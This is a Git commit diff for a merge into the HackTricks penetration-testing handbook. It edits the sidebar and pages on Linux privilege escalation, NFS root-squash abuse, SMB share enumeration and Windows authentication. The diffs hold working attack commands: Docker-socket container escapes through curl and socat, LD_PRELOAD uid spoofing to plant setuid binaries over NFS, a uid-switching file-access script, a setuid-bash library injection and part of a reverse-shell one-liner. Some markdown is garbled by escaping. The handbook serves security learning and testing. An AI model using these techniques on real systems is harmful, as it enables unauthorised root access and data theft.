Merge pull request #1 from carlospolop/master

adsf
This commit is contained in:
maxkleinke 2020-09-03 00:05:58 +02:00 committed by GitHub
commit f7b48cacfd
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
34 changed files with 924 additions and 135 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 128 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 63 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 83 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 122 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 47 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.7 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 56 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 41 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 38 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 108 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 249 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 151 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 110 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

View File

@ -41,20 +41,25 @@
* [Checklist - Local Windows Privilege Escalation](windows/checklist-windows-privilege-escalation.md)
* [Windows Local Privilege Escalation](windows/windows-local-privilege-escalation/README.md)
* [Privilege Escalation Abusing Tokens](windows/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
* [Privilege Escalation with Autoruns](windows/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md)
* [DPAPI - Extracting Passwords](windows/windows-local-privilege-escalation/dpapi-extracting-passwords.md)
* [SeImpersonate from High To System](windows/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md)
* [Access Tokens](windows/windows-local-privilege-escalation/access-tokens.md)
* [ACLs - DACLs/SACLs/ACEs](windows/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)
* [Dll Hijacking](windows/windows-local-privilege-escalation/dll-hijacking.md)
* [From High Integrity to SYSTEM with Name Pipes](windows/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md)
* [Named Pipe Client Impersonation](windows/windows-local-privilege-escalation/named-pipe-client-impersonation.md)
* [Leaked Handle Exploitation](windows/windows-local-privilege-escalation/leaked-handle-exploitation.md)
* [SeDebug + SeImpersonate copy token](windows/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md)
* [MSI Wrapper](windows/windows-local-privilege-escalation/msi-wrapper.md)
* [JuicyPotato](windows/windows-local-privilege-escalation/juicypotato.md)
* [Windows C Payloads](windows/windows-local-privilege-escalation/windows-c-payloads.md)
* [PowerUp](windows/windows-local-privilege-escalation/powerup.md)
* [Integrity Levels](windows/windows-local-privilege-escalation/integrity-levels.md)
* [JAWS](windows/windows-local-privilege-escalation/jaws.md)
* [Seatbelt](windows/windows-local-privilege-escalation/seatbelt.md)
* [JuicyPotato](windows/windows-local-privilege-escalation/juicypotato.md)
* [Leaked Handle Exploitation](windows/windows-local-privilege-escalation/leaked-handle-exploitation.md)
* [MSI Wrapper](windows/windows-local-privilege-escalation/msi-wrapper.md)
* [Named Pipe Client Impersonation](windows/windows-local-privilege-escalation/named-pipe-client-impersonation.md)
* [PowerUp](windows/windows-local-privilege-escalation/powerup.md)
* [Privilege Escalation Abusing Tokens](windows/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
* [Privilege Escalation with Autoruns](windows/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md)
* [RottenPotato](windows/windows-local-privilege-escalation/rottenpotato.md)
* [Seatbelt](windows/windows-local-privilege-escalation/seatbelt.md)
* [SeDebug + SeImpersonate copy token](windows/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md)
* [Windows C Payloads](windows/windows-local-privilege-escalation/windows-c-payloads.md)
* [Active Directory Methodology](windows/active-directory-methodology/README.md)
* [Abusing Active Directory ACLs/ACEs](windows/active-directory-methodology/acl-persistence-abuse.md)
* [AD information in printers](windows/active-directory-methodology/ad-information-in-printers.md)
@ -89,7 +94,7 @@
* [Stealing Credentials](windows/stealing-credentials/README.md)
* [Credentials Protections](windows/stealing-credentials/credentials-protections.md)
* [Mimikatz](windows/stealing-credentials/credentials-mimikatz.md)
* [Authentication, Credentials, Token privileges, UAC and EFS](windows/credentials.md)
* [Authentication, Credentials, UAC and EFS](windows/authentication-credentials-uac-and-efs.md)
* [Basic CMD for Pentesters](windows/basic-cmd-for-pentesters.md)
* [Basic PowerShell for Pentesters](windows/basic-powershell-for-pentesters/README.md)
* [PowerView](windows/basic-powershell-for-pentesters/powerview.md)

View File

@ -1,8 +1,8 @@
# Linux Privilege Escalation
Do you want to **know** about my **latest modifications**/**additions or you have any suggestion for HackTricks or PEASS**, **join the** [**PEASS & HackTricks telegram group here**](https://t.me/peass)**.**
If you want to **share some tricks with the community** you can also submit **pull requests** to ****[**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) ****that will be reflected in this book.
Don't forget to **give ⭐ on the github** to motivate me to continue developing this book.
If you want to **share some tricks with the community** you can also submit **pull requests** to **\*\*\[**[https://github.com/carlospolop/hacktricks\*\*\]\(https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks**]%28https://github.com/carlospolop/hacktricks)\) **\*\*that will be reflected in this book.
Don't forget to** give ⭐ on the github\*\* to motivate me to continue developing this book.
## System Information
@ -232,7 +232,7 @@ For a given process ID, **maps shows how memory is mapped within that processes'
```bash
procdump()
(
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
@ -245,7 +245,7 @@ procdump()
#### /dev/mem
`/dev/mem` provides access to the system's **physical** memory, not the virtual memory. The kernels virtual address space can be accessed using /dev/kmem.
`/dev/mem` provides access to the system's **physical** memory, not the virtual memory. The kernels virtual address space can be accessed using /dev/kmem.
Typically, `/dev/mem` is only readable by **root** and **kmem** group.
```text
@ -256,7 +256,7 @@ strings /dev/mem -n10 | grep -i PASS
To dump a process memory you could use:
* \*\*\*\*[**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) \(root\) - _You can manually remove root requirements and dump process owned by you_
* [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) \(root\) - _You can manually remove root requirements and dump process owned by you_
* Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) \(root is required\)
### Credentials from Process Memory
@ -305,7 +305,7 @@ If a script being executed by root has a “**\***” inside a command, you coul
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
```
**If the wildcard is preceded of a path like** _**/some/path/\***_ **, it's not vulnerable \(even** _**./\***_ **is not\).**
**If the wildcard is preceded of a path like** _**/some/path/\***_ **, it's not vulnerable \(even** _**./\***_ **is not\).**
Read the following page for more wildcard exploitation tricks:
@ -368,7 +368,7 @@ ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
Then, create a **executable** with the **same name as the relative path binary** inside the systemd PATH folder you can write, and when the service is asked to execute the vulnerable action \(**Start**, **Stop**, **Reload**\), your **backdoor will be executed** \(unprivileged users usually cannot start/stop services but check if you can using `sudo -l`\).
**Learn more about services with `man systemd.service`.**
**Learn more about services with `man systemd.service`.**
## **Timers**
@ -397,11 +397,11 @@ Therefore, in order to abuse this permissions you would need to:
* Find some systemd unit \(like a `.service`\) that is **executing a writable binary**
* Find some systemd unit that is **executing a relative path** and you have **writable privileges** over the **systemd PATH** \(to impersonate that executable\)
**Learn more about timers with `man systemd.timer`.**
**Learn more about timers with `man systemd.timer`.**
### **Enabling Timer**
In order to enable a timer you need root privileges and to execute:
In order to enable a timer you need root privileges and to execute:
```bash
sudo systemctl enable backu2.timer
@ -416,7 +416,7 @@ In brief, a Unix Socket \(technically, the correct name is Unix domain socket, *
Sockets can be configured using `.socket` files.
**Learn more about sockets with `man systemd.socket`.** Inside this file some several interesting parameters can be configured:
**Learn more about sockets with `man systemd.socket`.** Inside this file some several interesting parameters can be configured:
* `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: This options are different but as summary as used to **indicate where is going to listen** the socket \(the path of the AF\_UNIX socket file, the IPv4/6 and/or port number to listen...\).
* `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`.
@ -426,7 +426,7 @@ Sockets can be configured using `.socket` files.
### Writable .socket files
If you find a **writable** `.socket` file you can **add** at the begging of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**
If you find a **writable** `.socket` file you can **add** at the begging of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**
_Note that the system must be using that socket file configuration or the backdoor won't be executed_
### Writable sockets
@ -475,15 +475,50 @@ docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bi
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
```
Note that if you have write permissions over socket because you are **inside the group `docker`** you have [**more ways to escalate privileges**](interesting-groups-linux-pe/#docker-group).
#### Use docker web API from socket without docker package
If you have access to **docker socket** but you can't use the docker binary \(maybe it isn't even installed\), you can use directly the web API with `curl`.
The following commands are a example to **create a docker container that mount the root** of the host system and use `socat` to execute commands into the new docker.
```bash
# List docker images
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
##[{"Containers":-1,"Created":1588544489,"Id":"sha256:<ImageID>",...}]
# Send JSON to docker API to create the container
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
##{"Id":"<NewContainerID>","Warnings":[]}
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
```
The last step is to use `socat` to initiate a connection to the container, sending an attach request
```bash
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp
#HTTP/1.1 101 UPGRADED
#Content-Type: application/vnd.docker.raw-stream
#Connection: Upgrade
#Upgrade: tcp
```
Now, you can execute commands on the container from this `socat` connection.
#### Others
Note that if you have write permissions over the docker socket because you are **inside the group `docker`** you have [**more ways to escalate privileges**](interesting-groups-linux-pe/#docker-group).
## **D-Bus**
D-BUS is an **inter-process communication \(IPC\) system**, providing a simple yet powerful mechanism **allowing applications to talk to one another**, communicate information and request services. D-BUS was designed from scratch to fulfil the needs of a modern Linux system.
D-BUS, as a full-featured IPC and object system, has several intended uses. First, D-BUS can perform basic application IPC, allowing one process to shuttle data to another—think **UNIX domain sockets on steroids**. Second, D-BUS can facilitate sending events, or signals, through the system, allowing different components in the system to communicate and ultimately to integrate better. For example, a Bluetooth dæmon can send an incoming call signal that your music player can intercept, muting the volume until the call ends. Finally, D-BUS implements a remote object system, letting one application request services and invoke methods from a different object—think CORBA without the complications. ****\(From [here](https://www.linuxjournal.com/article/7744)\).
D-BUS, as a full-featured IPC and object system, has several intended uses. First, D-BUS can perform basic application IPC, allowing one process to shuttle data to another—think **UNIX domain sockets on steroids**. Second, D-BUS can facilitate sending events, or signals, through the system, allowing different components in the system to communicate and ultimately to integrate better. For example, a Bluetooth dæmon can send an incoming call signal that your music player can intercept, muting the volume until the call ends. Finally, D-BUS implements a remote object system, letting one application request services and invoke methods from a different object—think CORBA without the complications. _\*\*_\(From [here](https://www.linuxjournal.com/article/7744)\).
D-Bus use an **allow/deny model**, where each message \(method call, signal emission, etc.\) can be **allowed or denied** according to the sum of all policy rules which match it. Each or rule in the policy should have the `own`, `send_destination` or `receive_sender` attribute set.
D-Bus use an **allow/deny model**, where each message \(method call, signal emission, etc.\) can be **allowed or denied** according to the sum of all policy rules which match it. Each or rule in the policy should have the `own`, `send_destination` or `receive_sender` attribute set.
Part of the policy of `/etc/dbus-1/system.d/wpa_supplicant.conf`:
@ -574,14 +609,14 @@ last | tail
lastlog
#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null
```
### Big UID
Some Linux versions were affected by a bug that allow users with **UID &gt; INT\_MAX** to escalate privileges. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).
Some Linux versions were affected by a bug that allow users with **UID &gt; INT\_MAX** to escalate privileges. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).
**Exploit it** using: **`systemd-run -t /bin/bash`**
### Groups
@ -772,7 +807,7 @@ Create the file _/home/user/.config/libcalc.c_ with the code:
static void inject() __attribute__((constructor));
void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```
@ -795,7 +830,7 @@ The project collects legitimate functions of Unix binaries that can be abused to
> strace -o /dev/null /bin/sh
> sudo awk 'BEGIN {system\("/bin/sh"\)}'
{% embed url="https://gtfobins.github.io/" %}
{% embed url="https://gtfobins.github.io/" caption="" %}
### FallOfSudo
@ -814,7 +849,7 @@ Requirements to escalate privileges:
\(You can temporarily enable `ptrace_scope` with `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` or permanently modifying `/etc/sysctl.d/10-ptrace.conf` and setting `kernel.yama.ptrace_scope = 0`\)
If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo\_inject**](https://github.com/nongiach/sudo_inject)\*\*\*\*
If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo\_inject**](https://github.com/nongiach/sudo_inject)
* The **first exploit** \(`exploit.sh`\) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** \(you won't get automatically a root shell, do `sudo su`\):
@ -901,7 +936,7 @@ level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000f (RPATH) Library rpath: [/var/tmp/flag15]
level15@nebula:/home/flag15$ ldd ./flag15
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
@ -912,7 +947,7 @@ By copying the lib into `/var/tmp/flag15/` it will be used by the program in thi
```text
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
level15@nebula:/home/flag15$ ldd ./flag15
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)
@ -936,7 +971,7 @@ int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp
## Capabilities
Linux capabilities provide a **subset of the available root privileges to a process**. This effectively breaks up root **privileges into smaller and distinctive units**. Each of these units can then be independently be granted to processes. This way the full set of privileges is reduced and decreasing the risks of exploitation.
Read the following page to **learn more about capabilities and howto abuse them**:
Read the following page to **learn more about capabilities and how to abuse them**:
{% page-ref page="linux-capabilities.md" %}
@ -965,7 +1000,7 @@ In **newest versions** you will be able to **connect** to screen sessions only o
**List screen sessions**
```bash
screen -ls
screen -ls
```
![](../../.gitbook/assets/image%20%28327%29.png)
@ -981,7 +1016,7 @@ screen -dr 3350.foo #In the example of the image
Apparently this was a problem with **old tmux versions**. I wasn't able to hijack a tmux \(v2.1\) session created by root from a non-privileged user.
**List tmux sessions**
**List tmux sessions**
```bash
tmux ls
@ -1028,10 +1063,10 @@ Specifies whether root can log in using ssh, default is `no`. Possible values:
Specifies files that contains the public keys that can be used for user authentication. I can contains tokens like `%h` , that will be replaced by the home directory. **You can indicate absolute paths** \(starting in `/`\) or **relative paths from the users home**. For example:
```bash
AuthorizedKeysFile .ssh/authorized_keys access
AuthorizedKeysFile .ssh/authorized_keys access
```
That configuration will indicate that if you try to login with the **private** key ****of the user "**testusername**" ssh is going to compare the public key of your key with the ones located in `/home/testusername/.ssh/authorized_keys` and `/home/testusername/access`
That configuration will indicate that if you try to login with the **private** key **\*\*of the user "**testusername\*\*" ssh is going to compare the public key of your key with the ones located in `/home/testusername/.ssh/authorized_keys` and `/home/testusername/access`
#### ForwardAgent/AllowAgentForwarding
@ -1049,7 +1084,7 @@ Notice that if `Host` is `*` every time the user jumps to a different machine th
The file `/etc/ssh_config` can **override** this **options** and allow or denied this configuration.
The file `/etc/sshd_config` can **allow** or **denied** ssh-agent forwarding with the keyword `AllowAgentForwarding` \(default is allow\).
If you Forward Agent configured in an environment ****[**check here how to exploit it to escalate privileges**](ssh-forward-agent-exploitation.md).
If you Forward Agent configured in an environment **\*\*\[**check here how to exploit it to escalate privileges\*\*\]\(ssh-forward-agent-exploitation.md\).
## Interesting Files
@ -1147,7 +1182,7 @@ find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
for g in `groups`;
do printf " Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
@ -1224,7 +1259,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
### Logrotate exploitation
There is a vulnerability on `logrotate`that allows a user with **write permissions over a log file** or **any** of its **parent directories** to make `logrotate`write **a file in any location**. If **logrotate** is being executed by **root**, then the user will be able to write any file in _**/etc/bash\_completion.d/**_ that will be executed by any user that login.
There is a vulnerability on `logrotate`that allows a user with **write permissions over a log file** or **any** of its **parent directories** to make `logrotate`write **a file in any location**. If **logrotate** is being executed by **root**, then the user will be able to write any file in _**/etc/bash\_completion.d/**_ that will be executed by any user that login.
So, if you have **write perms** over a **log file** **or** any of its **parent folder**, you can **privesc** \(on most linux distributions, logrotate is executed automatically once a day as **user root**\). Also, check if apart of _/var/log_ there are more files being **rotated**.
{% hint style="info" %}
@ -1265,7 +1300,7 @@ Other alternative to this folder is `/etc/rc.d/init.d` in Redhat
`/etc/init` contains **configuration** files used by **Upstart**. Upstart is a young **service management package** championed by Ubuntu. Files in `/etc/init` are configuration files telling Upstart how and when to `start`, `stop`, `reload` the configuration, or query the `status` of a service. As of lucid, Ubuntu is transitioning from SysVinit to Upstart, which explains why many services come with SysVinit scripts even though Upstart configuration files are preferred. In fact, the SysVinit scripts are processed by a compatibility layer in Upstart. \(From [here](https://askubuntu.com/questions/5039/what-is-the-difference-between-etc-init-and-etc-init-d#:~:text=%2Fetc%2Finit%20contains%20configuration%20files,the%20status%20of%20a%20service.)\)
**systemd** is a **Linux initialization system and service manager that includes features like on-demand starting of daemons**, mount and automount point maintenance, snapshot support, and processes tracking using Linux control groups. systemd provides a logging daemon and other tools and utilities to help with common system administration tasks. \(From [here](https://www.linode.com/docs/quick-answers/linux-essentials/what-is-systemd/#:~:text=The%20%2Frun%2Fsystemd%2Fsystem,anywhere%20else%20in%20the%20system.)\)
Files that ships in packages downloaded from distribution repository go into `/usr/lib/systemd/`. Modifications done by system administrator \(user\) go into `/etc/systemd/system/`.
Files that ships in packages downloaded from distribution repository go into `/usr/lib/systemd/`. Modifications done by system administrator \(user\) go into `/etc/systemd/system/`.
## Other Tricks
@ -1311,5 +1346,3 @@ Other alternative to this folder is `/etc/rc.d/init.d` in Redhat
[https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits)
[https://github.com/rtcrowley/linux-private-i](https://github.com/rtcrowley/linux-private-i)

View File

@ -46,7 +46,10 @@ cd <SHAREDD_FOLDER>
### Local Exploit
{% hint style="info" %}
Note that if you can create a tunnel from your machine to the victim machine you can still use the Remote version to exploit this privilege escalation tunnelling the required ports.
Note that if you can create a **tunnel from your machine to the victim machine you can still use the Remote version to exploit this privilege escalation tunnelling the required ports**.
The following trick is in case the file `/etc/exports` **indicates an IP**. In this case you **won't be able to use** in any case the **remote exploit** and you will need to **abuse this trick**.
Another required requirement for the exploit to work is that **the export inside `/etc/export`** **must be using the `insecure` flag**.
--_I'm not sure that if `/etc/export` is indicating an IP address this trick will work_--
{% endhint %}
**Trick copied from** [**https://www.errno.fr/nfs\_privesc.html**](https://www.errno.fr/nfs_privesc.html)\*\*\*\*
@ -69,10 +72,13 @@ Heres a [library that lets you do just that](https://github.com/sahlberg/libn
#### Compiling the example <a id="compiling-the-example"></a>
Depending on your kernel, you might need to adapt the example. In my case I had to comment out the fallocate syscall. Due to the absence of cmake on the system, I also needed to link against the precompiled library which can be [found here](https://sites.google.com/site/libnfstarballs/li).
Depending on your kernel, you might need to adapt the example. In my case I had to comment out the fallocate syscalls.
```bash
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L../libnfs-1.11.0/lib/.libs/
./bootstrap
./configure
make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
```
#### Exploiting using the library <a id="exploiting-using-the-library"></a>
@ -88,10 +94,10 @@ gcc pwn.c -o a.out
Place our exploit on the share and make it suid root by faking our uid in the RPC calls:
```text
LD_NFS_UID=0 LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
```
All thats left is to launch it:
@ -103,3 +109,39 @@ All thats left is to launch it:
There we are, local root privilege escalation!
### Bonus NFShell <a id="bonus-nfshell"></a>
Once local root on the machine, I wanted to loot the NFS share for possible secrets that would let me pivot. But there were many users of the share all with their own uids that I couldnt read despite being root because of the uid mismatch. I didnt want to leave obvious traces such as a chown -R, so I rolled a little snippet to set my uid prior to running the desired shell command:
```python
#!/usr/bin/env python
import sys
import os
def get_file_uid(filepath):
try:
uid = os.stat(filepath).st_uid
except OSError as e:
return get_file_uid(os.path.dirname(filepath))
return uid
filepath = sys.argv[-1]
uid = get_file_uid(filepath)
os.setreuid(uid, uid)
os.system(' '.join(sys.argv[1:]))
```
You can then run most commands as you normally would by prefixing them with the script:
```text
[root@machine .tmp]# ll ./mount/
drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old
[root@machine .tmp]# ls -la ./mount/9.3_old/
ls: cannot open directory ./mount/9.3_old/: Permission denied
[root@machine .tmp]# ./nfsh.py ls --color -l ./mount/9.3_old/
drwxr-x--- 2 1008 1009 1024 Apr 5 2017 bin
drwxr-x--- 4 1008 1009 1024 Apr 5 2017 conf
drwx------ 15 1008 1009 1024 Apr 5 2017 data
drwxr-x--- 2 1008 1009 1024 Apr 5 2017 install
```

View File

@ -75,7 +75,7 @@ If you are **not root/Administrator** inside the box, you should find a way to *
Here you can find a **guide to escalate privileges locally in** [**Linux**](linux-unix/privilege-escalation/) **and in** [**Windows**](windows/windows-local-privilege-escalation/)**.**
You should also check this pages about how does **Windows work**:
* [**Authentication, Credentials, Token privileges and UAC**](windows/credentials.md)\*\*\*\*
* [**Authentication, Credentials, Token privileges and UAC**](windows/authentication-credentials-uac-and-efs.md)\*\*\*\*
* How does [**NTLM works**](windows/ntlm/)\*\*\*\*
* How to [**steal credentials**](windows/stealing-credentials/) in Windows
* Some tricks about [_**Active Directory**_](windows/active-directory-methodology/)_\*\*\*\*_

View File

@ -44,9 +44,10 @@ nbtscan -r 192.168.0.1/24
### SMB server version
To look for possible exploits to the SMB version it important to know which version is being used. If this information does not appear in other used tools, you can:
- Use the **MSF** auxiliary module _**auxiliary/scanner/smb/smb\_version**
- ****_Or **this script**:
To look for possible exploits to the SMB version it important to know which version is being used. If this information does not appear in other used tools, you can:
* Use the **MSF** auxiliary module \_**auxiliary/scanner/smb/smb\_version**
* **\*\*\_Or** this script\*\*:
```bash
#!/bin/sh
@ -191,7 +192,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
### **Manually enumerate windows shares and connect to them**
It may be possible that you are restricted to display any shares of the host machine and when you try to list them it appears as if there aren't any shares to connect to. Thus it might be worth a short to try to manually connect to a share. To enumerate the shares manually you might want to look for responses like NT_STATUS_ACCESS_DENIED and NT_STATUS_BAD_NETWORK_NAME, when using a valid session \(e.g. null session or valid credentials\). These may indicate whether the share exists and you do not have access to it or the share does not exist at all.
It may be possible that you are restricted to display any shares of the host machine and when you try to list them it appears as if there aren't any shares to connect to. Thus it might be worth a short to try to manually connect to a share. To enumerate the shares manually you might want to look for responses like NT\_STATUS\_ACCESS\_DENIED and NT\_STATUS\_BAD\_NETWORK\_NAME, when using a valid session \(e.g. null session or valid credentials\). These may indicate whether the share exists and you do not have access to it or the share does not exist at all.
Common share names for windows targets are
@ -212,6 +213,7 @@ You can try to connect to them by using the following command
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
```
or this script \(using a null session\)
```bash
@ -229,7 +231,6 @@ for share in ${shares[*]}; do
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done
```
examples
@ -238,6 +239,7 @@ examples
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
### Mount a shared folder
```bash
@ -371,5 +373,3 @@ Which are used by some browsers and tools \(like Skype\)
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](../.gitbook/assets/image%20%28116%29.png)

View File

@ -222,7 +222,7 @@ The **security descriptors** are used to **store** the **permissions** an **obje
### **Custom SSP**
[Learn what is a SSP \(Security Support Provider\) here.](../credentials.md#security-support-provider-interface-sspi)
[Learn what is a SSP \(Security Support Provider\) here.](../authentication-credentials-uac-and-efs.md#security-support-provider-interface-sspi)
You can create you **own SSP** to **capture** in **clear text** the **credentials** used to access the machine.
****[**More information about Custom SSP here.**](custom-ssp.md)

View File

@ -2,7 +2,7 @@
## Custom SSP
[Learn what is a SSP \(Security Support Provider\) here.](../credentials.md#security-support-provider-interface-sspi)
[Learn what is a SSP \(Security Support Provider\) here.](../authentication-credentials-uac-and-efs.md#security-support-provider-interface-sspi)
You can create you **own SSP** to **capture** in **clear text** the **credentials** used to access the machine.
#### Mimilib

View File

@ -1,4 +1,4 @@
# Authentication, Credentials, Token privileges, UAC and EFS
# Authentication, Credentials, UAC and EFS
## Security Support Provider Interface \(SSPI\)
@ -56,72 +56,13 @@ It is the database of the Active Directory. It is only present in Domain Control
Allows browsers and other Windows applications to save credentials.
## Process Privileges
**Privileges:**
* Operations on the system:
* loading device drivers
* system shutdown
* timezone change
* ...
* Assigned to user/group
**Access Rights:**
* Access to securable objects
* files/dirs,pipes, registry keys, Windows services, printers, jobs, network shares, access tokens, desktops,...
* Assignedto object's ACL
## Access Tokens
